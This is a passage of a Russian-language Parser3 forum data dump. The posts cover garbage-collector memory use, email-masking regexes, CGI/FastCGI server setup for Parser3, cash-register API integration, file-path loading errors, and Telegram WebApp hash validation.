3-85: {\"time\" => \"6.507265\", \"utime\" => \"6.432608\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"1128\", \"memory_allocated_since_start\" => \"706048.5625\"}\
2-86: {\"time\" => \"6.515133\", \"utime\" => \"6.440476\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15484\", \"memory_used\" => \"15484\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"708067.65625\"}\
3-86: {\"time\" => \"6.523821\", \"utime\" => \"6.449157\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"1060\", \"memory_allocated_since_start\" => \"708099.28125\"}\
2-87: {\"time\" => \"6.531312\", \"utime\" => \"6.456641\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15420\", \"memory_used\" => \"15420\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"709974.65625\"}\
3-87: {\"time\" => \"6.53947\", \"utime\" => \"6.464792\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"1004\", \"memory_allocated_since_start\" => \"710008.484375\"}\
2-88: {\"time\" => \"6.54483\", \"utime\" => \"6.470148\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15356\", \"memory_used\" => \"15356\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"711739.546875\"}\
3-88: {\"time\" => \"6.552034\", \"utime\" => \"6.47735\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"940\", \"memory_allocated_since_start\" => \"711773.828125\"}\
2-89: {\"time\" => \"6.55671\", \"utime\" => \"6.482022\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15296\", \"memory_used\" => \"15296\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"713371.9375\"}\
3-89: {\"time\" => \"6.564469\", \"utime\" => \"6.489786\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"880\", \"memory_allocated_since_start\" => \"713400.546875\"}\
2-90: {\"time\" => \"6.568762\", \"utime\" => \"6.49407\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15232\", \"memory_used\" => \"15232\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"714855.734375\"}\
3-90: {\"time\" => \"6.576063\", \"utime\" => \"6.501373\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"812\", \"memory_allocated_since_start\" => \"714886.34375\"}\
2-91: {\"time\" => \"6.579806\", \"utime\" => \"6.505105\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15168\", \"memory_used\" => \"15168\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"716201.421875\"}\
3-91: {\"time\" => \"6.587528\", \"utime\" => \"6.512828\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"756\", \"memory_allocated_since_start\" => \"716231.5\"}\
2-92: {\"time\" => \"6.590883\", \"utime\" => \"6.516175\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15104\", \"memory_used\" => \"15104\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"717404.078125\"}\
3-92: {\"time\" => \"6.598349\", \"utime\" => \"6.523648\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"688\", \"memory_allocated_since_start\" => \"717440.859375\"}\
2-93: {\"time\" => \"6.601449\", \"utime\" => \"6.526742\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"15044\", \"memory_used\" => \"15044\", \"memory_free\" => \"332\", \"memory_allocated_since_start\" => \"718473.59375\"}\
3-93: {\"time\" => \"6.608664\", \"utime\" => \"6.533952\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"628\", \"memory_allocated_since_start\" => \"718505.578125\"}\
2-94: {\"time\" => \"6.611063\", \"utime\" => \"6.536347\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14980\", \"memory_used\" => \"14980\", \"memory_free\" => \"336\", \"memory_allocated_since_start\" => \"719394.921875\"}\
3-94: {\"time\" => \"6.618546\", \"utime\" => \"6.543831\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"560\", \"memory_allocated_since_start\" => \"719431.265625\"}\
2-95: {\"time\" => \"6.620461\", \"utime\" => \"6.545736\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14924\", \"memory_used\" => \"14924\", \"memory_free\" => \"328\", \"memory_allocated_since_start\" => \"720181.796875\"}\
3-95: {\"time\" => \"6.627423\", \"utime\" => \"6.552701\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"504\", \"memory_allocated_since_start\" => \"720214.09375\"}\
2-96: {\"time\" => \"6.629015\", \"utime\" => \"6.55429\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14872\", \"memory_used\" => \"14872\", \"memory_free\" => \"316\", \"memory_allocated_since_start\" => \"720823.015625\"}\
3-96: {\"time\" => \"6.636326\", \"utime\" => \"6.5616\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"440\", \"memory_allocated_since_start\" => \"720858.890625\"}\
2-97: {\"time\" => \"6.637508\", \"utime\" => \"6.562776\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14828\", \"memory_used\" => \"14828\", \"memory_free\" => \"296\", \"memory_allocated_since_start\" => \"721329.796875\"}\
3-97: {\"time\" => \"6.645002\", \"utime\" => \"6.570271\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"376\", \"memory_allocated_since_start\" => \"721356.8125\"}\
2-98: {\"time\" => \"6.645854\", \"utime\" => \"6.571152\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14780\", \"memory_used\" => \"14780\", \"memory_free\" => \"280\", \"memory_allocated_since_start\" => \"721687.8125\"}\
3-98: {\"time\" => \"6.65293\", \"utime\" => \"6.578194\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"316\", \"memory_allocated_since_start\" => \"721719.703125\"}\
2-99: {\"time\" => \"6.653397\", \"utime\" => \"6.578656\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14732\", \"memory_used\" => \"14732\", \"memory_free\" => \"272\", \"memory_allocated_since_start\" => \"721912.375\"}\
3-99: {\"time\" => \"6.660236\", \"utime\" => \"6.585496\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"256\", \"memory_allocated_since_start\" => \"721943.109375\"}\
2-100: {\"time\" => \"6.660355\", \"utime\" => \"6.58561\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"256\", \"memory_allocated_since_start\" => \"721979.484375\"}\
3-100: {\"time\" => \"6.667683\", \"utime\" => \"6.592942\", \"stime\" => \"0.056338\", \"memory_block\" => \"27128\", \"memory\" => \"14680\", \"memory_used\" => \"14680\", \"memory_free\" => \"196\", \"memory_allocated_since_start\" => \"722017.015625\"}\
\
В первом (максимальном) хеше мы видим рост used до 23768, после освобождения 14680.\
Да, дальше между итерациями расход сокращается и возвращается к memory_used в районе 14600.\
\
Но до начала этих циклов used было 8232.\
\
[b]За счет чего used между началом циклов 8200 стал 14600 и больше не освобождается?[/b]\
Код уже скомпилирован. Никаких дополнительных подключений не происходит.\
\
При этом memory_free тоже сокращается. Если количество внешних циклов увеличить больше чем 100, то через пару итераций free доходит до 0, used стабилизируется, memory_block (rss) не увеличивается.\
Т.к. при итерации k > 100 - внутренних циклов с cache = 0.\
\
Если еще немного усложнить логику, например при k > 100, опять собирать кеш на 100000 элементов.\
\
[code]\
\
\
Получаем такое\
\
2-997: {\"time\" => \"167.056243\", \"utime\" => \"166.751688\", \"stime\" => \"0.170864\", \"memory_block\" => \"26220\", \"memory\" => \"24596\", \"memory_used\" => \"24596\", \"memory_free\" => \"-92\", \"memory_allocated_since_start\" => \"13408946.6875\"}\
3-997: {\"time\" => \"167.063374\", \"utime\" => \"166.758808\", \"stime\" => \"0.170864\", \"memory_block\" => \"26220\", \"memory\" => \"14780\", \"memory_used\" => \"14780\", \"memory_free\" => \"9724\", \"memory_allocated_since_start\" => \"13408981.40625\"}\
2-998: {\"time\" => \"167.23843\", \"utime\" => \"166.933779\", \"stime\" => \"0.170864\", \"memory_block\" => \"26220\", \"memory\" => \"24596\", \"memory_used\" => \"24596\", \"memory_free\" => \"-92\", \"memory_allocated_since_start\" => \"13423090.984375\"}\
3-998: {\"time\" => \"167.245351\", \"utime\" => \"166.940693\", \"stime\" => \"0.170864\", \"memory_block\" => \"26220\", \"memory\" => \"14780\", \"memory_used\" => \"14780\", \"memory_free\" => \"9724\", \"memory_allocated_since_start\" => \"13423123.0625\"}\
2-999: {\"time\" => \"167.42951\", \"utime\" => \"167.124731\", \"stime\" => \"0.170877\", \"memory_block\" => \"26220\", \"memory\" => \"24596\", \"memory_used\" => \"24596\", \"memory_free\" => \"-92\", \"memory_allocated_since_start\" => \"13437233.5625\"}\
3-999: {\"time\" => \"167.436567\", \"utime\" => \"167.13178\", \"stime\" => \"0.170879\", \"memory_block\" => \"26220\", \"memory\" => \"14780\", \"memory_used\" => \"14780\", \"memory_free\" => \"9724\", \"memory_allocated_since_start\" => \"13437264.65625\"}\
2-1000: {\"time\" => \"167.602936\", \"utime\" => \"167.298069\", \"stime\" => \"0.170879\", \"memory_block\" => \"26220\", \"memory\" => \"24596\", \"memory_used\" => \"24596\", \"memory_free\" => \"-92\", \"memory_allocated_since_start\" => \"13451374.84375\"}\
3-1000: {\"time\" => \"167.609803\", \"utime\" => \"167.304929\", \"stime\" => \"0.170879\", \"memory_block\" => \"26220\", \"memory\" => \"14780\", \"memory_used\" => \"14780\", \"memory_free\" => \"9724\", \"memory_allocated_since_start\" => \"13451411.859375\"}\
\
Т.е. used все еще в районе 14700, но free уже смогло вернуть 9700. \
Важно memory_block без изменений. Т.е. новую память не поулчали.\
\
[b]В этом во всем смущает что ни при каких обстоятельствах не получается уменьшить used до значения близкого к моменту старта \"memory_used\" => 8232\
\
Разница получается 14700 - 8200 = 6500. 79% от первоначального used.[/b]\
\
\
Пробовал весь код в функциях оформлять в одну строку (без переносов, пробелов) - used стабилизируется в районе 13400 (вместо 14600). Считаю что это не существенно.\
\
Пробовал делать размер data переменным - на used почти не виляет. Все также в районе 14500."
"86212","@test[*args] - не подумал про такой вариант, спасибо!\
\
Если разницы между вызовом ^func() & ^func{} понять не получается, то какие есть варианты чтобы можно было вызвать ^table.sort внутри?\
Т.к. вызов ^table.sort() и ^table.sort{} будут иметь разные результаты."
"86213","Ну например просто завести отдельные методы. :) Без проверок внутри еще и работать быстрее будет."
"86214","[quote]Я ожидаю увидеть уменьшение used между итерациями.[/quote]\
\
Почему? Как уже писал, used это суммарный размер используемых блоков. Это не равно суммарному размеру аллоцированной памяти. Например вы просите 16 байт. Если нет свободной, libgc аллоцирует у системы блок в 4kb, в котором можно разместить 256 элементов по 16 байт. Далее они занимаются, потом частично освобождаются. Если в блоке не останется ни одного используемого элемента, он будет считаться free. Но если будет занят хоть один из 256 - в used это будет считаться как 4kb, хотя аллоцировано всего 16 байт. \
\
P.S. Надеюсь не сильно соврал, в интернете больше написано про то, как технически устроена сборка мусора в libgc. А про то, что размер маленьких объектов при аллокации округляется до 8 байт и они хранятся в блоках картинок не нашел, хотя это весьма серьезная оптимизация по сравнению с системным malloc."
"86220","Геттеры и сеттеры умеют в различение контекста(типа/класса) при обращении\
\
Из документации:\
[quot]\
У пользовательских классов можно определить специальное свойство @GET[], которое будет вызываться при обращении к классу/объекту этого класса в определённых контекстах вызова, например: в скалярном контексте, в выражении и т.п. Если у этого свойства определён параметр, то через него будет передан тип обращения, который может принимать одно из следующих значений: def, expression, bool, double, hash, table или file. \
[/quot]\
\
[code]\
# умозрительную околесицу написал на основе кода в документации\
@CLASS\
MyClass\
\
@create\
$arg[0]\
\
@GET[arg]\
^switch[$arg]{\
   ^case[hash]{$result[^hash::create[$arg]]}\
   ^case[bool]{$result(true)}\
   ^case[def]{$result(true)}\
   ^case[expression;double]{$result($t)}\
   ^case[DEFAULT]{^throw[MyClass;Unsupported type of '$arg']}\
}\
\
\
#----------\
\
\
[/code]"
"86221","не могу сообразить как из js\
[code]s.replaceAll(\"(?<=.)[^@](?=[^@]*?[^@]@)|(?:(?<=@.)|(?!^)\\\\G(?=[^@]*$)).(?=.*[^@]\\\\.)\", \"*\")\
[/code]\
\
[quote]\
john.doe@example.en.com  => j******e@e********n.com\
foo@bar.com              => f*o@b*r.com\
foo-and.more!here@bar.com  => f***************e@b*r.com\
fo@bar.com               =>  fo@b*r.com\
f@bar.com                =>  f@b*r.com\
[/quote]\
\
\
\
\
\
\
\
\
\
переписать в ^s.match\
\
\
[code]^s.match[(?<=.)[^^@](?=[^^@]*?[^^@]@)|(?:(?<=@.)|(?!^^)\\\\G(?=[^^@]*^$)).(?=.*[^^@]\\\\.)]{*}[/code]\
\
[quote]syntax error, unexpected EON[/quote]\
[quote]syntax error, unexpected $end, expecting ']'[/quote]"
"86222","спать таки надо бОльше\
\
если сие не пригодиться - ветку наверное надо грохнуть"
"86223","ну, или: чтоб и еще по одной букве с каждой стороньі от точки?"
"86225","[code]@masking[aSource][locals;result]\
  $lResult[^aSource.mid(0;1)]\
  $lDot(0)\
  $lRes[$.src[$aSource]]\
  ^while(^aSource.pos[.](${lDot}+1)>-1){\
    $lDot(^aSource.pos[.](${lDot}+1))\
    ^if(^lResult.length[] == $lDot){ ^continue[] }\
\
    ^if($lDot == ^aSource.length[]-2\
      ||$lDot == ^aSource.length[]-3\
    ){\
      $lResult[${lResult}^for[i](^lResult.length[];${lDot}-2){*}^aSource.mid(${lDot}-1)]\
    }{\
      $lResult[${lResult}^for[i](^lResult.length[];${lDot}-2){*}^aSource.mid(${lDot}-1;3)] ^rem{^aSource.mid(${lDot}+2)]}\
    }\
\
  }\
  ^if(^lResult.length[] < ^aSource.length[]){\
    $lResult[${lResult}^for[i](^lResult.length[];^aSource.length[]-2){*}^aSource.mid(^aSource.length[]-1;1)]  \
  }\
  \
  $result[$lResult]\
#masking[/code]"
"86226","[code]@mask[email][locals]\
$length(^email.length[])\
$dog(^email.pos[@])\
$host[^email.split[.;rh]]\
$tld($length - ^host.0.length[] - 1)\
\
$result[^for[l](0;$length - 1){^if($l == 0 || $l >= $dog - 1 && $l <= $dog + 1 || $l >= $tld - 1){^email.mid($l;1)}[*]}][/code]"
"86227","Опережающие и негативные проверки ради простой замены.\
\
Можно проще:\
[code]@mask[email][locals]\
$result[^email.match[^^(.)(.*?)(.?@.)(.*?)(.)(\\.[^^.]+)^$;]{$match.1^match.2.match[.;g;*]$match.3^match.4.match[.;g;*]${match.5}$match.6}][/code]\
\
Хотя, применение подобной маскировки кажется крайне редким."
"86228","**** /lib/systemd/system/spawn-fcgi.socket\
[code][-] ListenStream=/run/fcgiwrap.socket \
[+] ListenStream=/run/spawn-fcgi/socket[/code] \
\
\
\
[code]mkdir /run/spawn-fcgi\
chown www-data:www-data /run/spawn-fcgi[/code]"
"86229","выражение не полное, потому что не отловит:\
\
[code]!#$%&'*+-/=?^_{}|~@example.com[/code]\
\
вот такой адрес почты, а он валиден.\
\
И вообще, нет особого смысла отлавливать что-то большее чем `@`, домен, и пара символов перед собакой не начинающиеся с точки."
"86230","Собсно, что есть.\
Ubuntu server 22.04\
Apache2.4.52\
Сначала устанавливал копируя содержимое архива в /usr/lib/cgi-bin/ и parser3.cgi в /var/www/site.ru/cgi-bin (права cgi-bin выставил 755) - не заработало.\
\
потом все удалил и устанавливал через: sudo apt install parser3, но тоже не работает.\
\
\
Содержимое /etc/apache2/sites-available/000-default.conf\
\
       ServerAdmin webmaster@localhost\
        DocumentRoot /var/www/html\
        LoadModule parser3_module /usr/lib/apache2/modules/mod_parser3.so\
        <Directory /var/www/site.ru>\
                AllowOverride FileInfo\
        </Directory>\
\
Содержимое /etc/apache2/sites-available/site.ru.conf\
\
ServerName site.ru\
ServerAdmin webmaster@localhost\
DocumentRoot /var/www/site.ru\
#LoadModule parser3_module /usr/lib/apache2/modules/mod_parser3.so\
#ScriptAlias /cgi-bin/ /var/www/site.ru/\
<Directory /var/www/site.ru>\
    Options Indexes FollowSymLinks\
    AllowOverride All\
    Order allow,deny\
    allow from all\
</Directory>\
\
Содержимое /var/www/site.ru/.htaccess\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
ХЭЛП! ХЭЭЭЭЭЛП..."
"86231","[quot]#ScriptAlias /cgi-bin/ /var/www/site.ru/[/quote]\
\
И почему так, когда это явно другая директория (вероятно /var/www/site.ru/cgi-bin/)? Ну и строка закомментирована, а значит /cgi-bin/ не настроен.\
\
Пока директория, в которой находится исполняемый файл парсера не будет настроена для запуска cgi скриптов, понятно ничего работать не будет.\
\
Так что надо добиться чтобы http://site.ru/cgi-bin/parser3.cgi показывал версию парсера, остальное на вид корректно. apache в error_log обычно достаточно понятно пишет, что ему не нравится."
"86232","Огромное спасибо!\
Кроме этого нужно было изменить владельца файлов и каталогов на пользователя apache2 (www-data) виртуального хоста.\
Заработал Parser;)\
Еще раз очень спасибо!))"
"86233","Здравствуйте гуру и монстры парсера! Достаточно давно пользуемся учетной системой написанной на парсере, сейчас возникла необходимость печатать кассовые чеки. Пользуемся смарт-кассой Эвотор, чеки формируем на кассе вручную что не удобно и долго когда надо вбивать туда кучу новых товаров. Никто совершенно случайно не формирует чеки парсером для передачи  их на смарт-кассу? Буду благодарен если поделитесь опытом или например ссылкой на описание API. Спасибо."
"86234","Опишите, в чем проблема и что уже пробовали."
"86235","https://api.evotor.ru/docs/ - не скажу насчет чеков, но вроде как список товаров там передать можно без проблем..."
"86237","\"Результатом выполнения запроса должна быть одна запись\" - из документации. Там вообще достаточно строго, шаг влево, шаг вправо - исключение \"result must not contain more then one row, three columns\" или \"produced no result\"."
"86239","Честно говоря краем глаза. Пока детально не вникал так как задача еще не в приоритете."
"86240","Как писал ранее, работаем в учетной системе которая написана в основном на Parser. Возникла необходимость все таки как-то печатать кассовые чеки не набивая их вручную на смарт-кассе. Хочется как в 1С нажать кнопку \"распечатать чек\" и что бы этот чек вылез на кассе. Сразу оговорюсь что я до конца не представляю как сейчас работают кассовые аппараты в связке с операторами фискальных данных и физическими фискальными накопителями. Буду благодарен за любую информацию."
"86241","Например у драйверов АТОЛ есть встроенный веб-сервер (note: не у кассы, а именно у драйверов), на который можно отправлять JSON, https://habr.com/ru/post/457684/"
"86242","У меня Эвотор 7, если не ничего не путаю, если не удастся подружить с учетной системой возможно придется поменять. Спасибо."
"86243","Доброго дня. Возможно ли использовать Парсер под Нодой каким-то максимально простым способом без CGI и Апача? \
Что-то подобное: \
new Promise((resolve, reject) => {\
   require('child_process').execFile(\
       'path/to/parser3', \
       {ENV:\"\",REQUEST:\"\",POST_BODY:\"\"}, \
       { cwd: path }, \
       (err, data) => {\
            if (err) reject(err);else resolve(data);\
       }\
   );\
});\
\
+ Не нужно знать язык конфигурации .htaccess\
+ Можно автоматизировать установку, просто скачивая скриптом разные версии p3 и проверяя их успешное исполнение на выбранной операционке \
+ Гибкость\
+ Скорость!"
"86244","https://www.parser.ru/forum/?id=80675 - 8 лет как существует. :)\
\
Плюс в 3.4.6 добавлен встроенный веб-сервер, для локальной разработки самое то..."
"86245","Спасибо, сейчас попробую. Выглядит сложно, но может, получится упростить. \
\
По поводу парсерного вебсервера - предлагаете, чтобы p3 и node обменивались друг с другом через локальный http?"
"86246","структура:\
[code]\
.lib/\
.src/subApp/app.p\
.src/subApp/app.inc\
root/auto.p\
root/subApp/app.html\
[/code]\
\
app.html\
[code]\
...\
^use[/../.src/subApp/app.p]\
...\
[/code]\
\
app.p\
[code]\
...\
$inc[^file::load[binary;app.inc]] \
#$inc[^file::load[binary;./app.inc]] \
$inc.text\
...\
[/code]\
\
\
EXCEPTION:\
[quote]\
{\
\"result\":\"Exception\",\
\"message\":\"unhandled\",\
\"exception\":{\
  \"type\":\"file.missing\",\
  \"source\":\"\\/var\\/www\\/root\\/subApp\\/app.inc\",\
  \"file\":\"\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.p\",\
  \"lineno\":69,\
  \"colno\":22,\
  \"comment\":\"read failed: No such file or directory (2), actual filename '\\/var\\/www\\/root\\/subApp\\/app.inc'\",\
  \"handled\":false\
},[/quote]\
\
как в /.src/subApp/app.p подргузить app.inc не прописьівая \"/../.src/subApp/\" ?"
"86247","приходит запрос:\
https://.../webApp/telegram.html#tgWebAppData=query_id%3DAAE2cPs.....\
\
\
$request:query -> [empty]\
$request:uri   -> /webApp/telegram.html\
\
а в яваскрипт консоли\
location.href ->  \"https://.../webApp/telegram.html#tgWebAppData=query_id%3DAA....\"\
\
\
как в парсере получить то, что после \"#\" ?"
"86248","Так [url=\"https://en.wikipedia.org/wiki/URI_fragment\"](#) URI Fragmet[/url] не отправляется на сервер вместе с запросом же. Как вариант перед запросом превращать всё в GET параметры заменой [b]#[/b] на [b]?[/b]"
"86250","> т.е. только через location на клиенте? \
\
Ага. На сервере его не получить."
"86251","https://core.telegram.org/bots/webapps#validating-data-received-via-the-web-app\
[code]data_check_string = ...\
secret_key = HMAC_SHA256(<bot_token>, \"WebAppData\")\
if (hex(HMAC_SHA256(data_check_string, secret_key)) == hash) {\
  // data is from Telegram\
}[/code]\
\
->\
\
[code]\
  $data_src[$form:_auth]\
  $secret_key[^math:digest[sha256;${Bot.Token};$.format[hex]$.hmac[WebAppData]]] \
  $data_check_string[]\
  $data_hash[]\
\
  ^rem{prepare data_check_string}\
  $aData[^data_src.split[&]]\
  ^aData.sort{$aData.piece}\
  ^aData.menu{\
    ^if(^aData.piece.left(5) eq \"hash=\"){\
      $temp[^aData.piece.split[=;lh]]\
      $data_hash[$temp.1]\
    }{\
      $data_check_string[${data_check_string}^if(^data_check_string.length[]>0){^#0A}${aData.piece}]\
    }\
    ^if(^aData.piece.left(10) eq \"auth_date=\"){\
      $temp[^aData.piece.split[=;lh]]\
      $auth_date[$temp.1]\
    }\
  }\
\
  $result_hash[^math:digest[sha256;$data_check_string;$.format[hex]$.hmac[$secret_key]]]\
\
[/code]\
\
$result_hash и $data_hash - не сходятся.\
\
подозверваю что в $result[^math:digest[sha256;$data_check_string;$.format[hex]$.hmac[$secret_key]]] \
надо передавать не hex'нутьій secret_key\
єто возможно?"
"86252","[code]@auto[filespec]\
$self.dir[^file:dirname[$filespec]]\
\
$inc[^file::load[binary;$self.dir/app.inc]]\
$inc.text\
[/code]"
"86253","[quote]{\
\"result\":\"Exception\",\
\"message\":\"unhandled\",\
\"exception\":{\
\"type\":\"file.missing\",\
\"source\":\"\\/var\\/www\\/root\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.inc\",\
\"file\":\"\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.p\",\
\"lineno\":96,\
\"colno\":22,\
\"comment\":\"read failed: No such file or directory (2), actual filename '\\/var\\/www\\/root\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.inc'\",\
\"handled\":false\
},[/quote]"
"86254","Нужно приводить не только ошибку, но и код.\
[url=https://www.parser.ru/faq/#forum]А вообще[/url]:\
[quote]2. В теле сообщения напишите что вы хотели получить, что вы делали и что получили[/quote]"
"86255","при єтом\
\
в self.dir - правильньій путь\
\
\"dir\":\"\\/var\\/www\\/root\\/..\\/.src\\/subApp\"\
\
/var/www/root/app.html:[code]...\
^use[/../.src/subApp/app.p]\
...[/code]\
\
/var/www/.src/subApp/app.p:[code]@auto[filespec]\
  $self.dir[^file:dirname[$filespec]]\
#auto\
\
@subApp[]\
...\
$inc[^file::load[binary;${self.dir}/app.inc]] \
^apply-taint[optimized-as-is;$inc.text]\
...\
#subApp[/code]\
\
\
[quote]{\
\"result\":\"Exception\",\
\"message\":\"unhandled\",\
\"exception\":{\
\"type\":\"file.missing\",\
\"source\":\"\\/var\\/www\\/root\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.inc\",\
\"file\":\"\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.p\",\
\"lineno\":96,\
\"colno\":22,\
\"comment\":\"read failed: No such file or directory (2), actual filename '\\/var\\/www\\/root\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.inc'\",\
\"handled\":false\
},[/quote]"
"86256","[quote]\"source\":\"\\/var\\/www\\/root\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.inc\",[/quote]\
\
Значит файла нет по указанному пути.\
Проверяйте структуру."
"86257","складьівается впечатление, что если в \"имя файла\" есть переменная, то оно дополнительно добавляет путь к root\
сначала подум ал что проверяет на наличие \"/\", но\
$inc[^file::load[binary;/$self.dir/app.inc]] \
вьідает ошибку \
read failed: No such file or directory (2), actual filename '\\/var\\/www\\/root\\/\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.inc'"
"86258","1. Посмотрите (и пришлите сюда) что выдает https://www.parser.ru/docs/lang/envfields.htm\
\
2. Попробуйте перед ошибочным вызовом явно прописать [code]$request:document-root[/var/www/root][/code]"
"86259","/var/www/root/app.html:[code]\
...\
^use[/../.src/subApp/app.p]\
...[/code]\
/var/www/.src/subApp/app.p:[code]\
@auto[filespec]\
  $self.dir[^file:dirname[$filespec]]\
#auto\
\
@subApp[]\
...\
$request:document-root[/var/www/root]\
$inc[^file::load[binary;${self.dir}/app.inc]] \
^apply-taint[optimized-as-is;$inc.text]\
...\
#subApp[/code]\
[quote]{\
\"result\":\"Exception\",\
\"message\":\"unhandled\",\
\"exception\":{\
\"type\":\"file.missing\",\
\"source\":\"\\/var\\/www\\/root\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.inc\",\
\"file\":\"\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.p\",\
\"lineno\":96,\
\"colno\":22,\
\"comment\":\"read failed: No such file or directory (2), actual filename '\\/var\\/www\\/root\\/var\\/www\\/root\\/..\\/.src\\/subApp\\/app.inc'\",\
\"handled\":false\
},[/quote]\
\
[code]\"FCGI_ROLE\":\"RESPONDER\",\
\"SCRIPT_NAME\":\"\\/app.html\",\
\"SCRIPT_FILENAME\":\"\\/var\\/www\\/parser\\/current\\/parser3.cgi\",\
\"PATH_INFO\":\"\\/app.html\",\
\"PATH_TRANSLATED\":\"\\/var\\/www\\/root\\/app.html\",\
\"CGI_PARSER_LOG\":\"\\/var\\/log\\/nginx\\/parser.log\",\
\"REQUEST_METHOD\":\"GET\",\
\"REQUEST_URI\":\"\\/app.html\",\
\"DOCUMENT_URI\":\"\\/app.html\",\
\"DOCUMENT_ROOT\":\"\\/var\\/www\\/root\",\
\"SERVER_PROTOCOL\":\"HTTP\\/1.0\",\
\"REQUEST_SCHEME\":\"https\",\
\"HTTPS\":\"on\",\
\"GATEWAY_INTERFACE\":\"CGI\\/1.1\",\
\"SERVER_SOFTWARE\":\"nginx\\/1.15.12\",\
\"REMOTE_ADDR\":\"хрум\",\
\"SERVER_ADDR\":\"хрум\",\
\"SERVER_PORT\":\"443\",\
\"SERVER_NAME\":\"хрум\",\
\"REDIRECT_STATUS\":\"200\",\
\"HTTP_HOST\":\"хрум\",\
\"HTTP_X_REAL_IP\":\"хрум\",\
\"HTTP_X_HOST\":\"хрум\",\
\"HTTP_X_URI\":\"\\/app.html\",\
\"HTTP_X_FORWARDED_PROTO\":\"https\",\
\"HTTP_X_FORWARDED_FOR\":\"хрум, хрум\",\
\"HTTP_CONNECTION\":\"close\",\
\"HTTP_ACCEPT_ENCODING\":\"gzip\",\
\"HTTP_CF_RAY\":\"7be1a030cfb777b6-KBP\",\
\"HTTP_CF_VISITOR\":\"{\\\"scheme\\\":\\\"https\\\"}\",\
\"HTTP_PRAGMA\":\"no-cache\",\
\"HTTP_CACHE_CONTROL\":\"no-cache\",\
\"HTTP_SEC_CH_UA\":\"\\\"Chromium\\\";v=\\\"112\\\", \\\"Google Chrome\\\";v=\\\"112\\\", \\\"Not:A-Brand\\\";v=\\\"99\\\"\",\
\"HTTP_SEC_CH_UA_MOBILE\":\"?0\",\
\"HTTP_SEC_CH_UA_PLATFORM\":\"\\\"Windows\\\"\",\
\"HTTP_DNT\":\"1\",\
\"HTTP_UPGRADE_INSECURE_REQUESTS\":\"1\",\
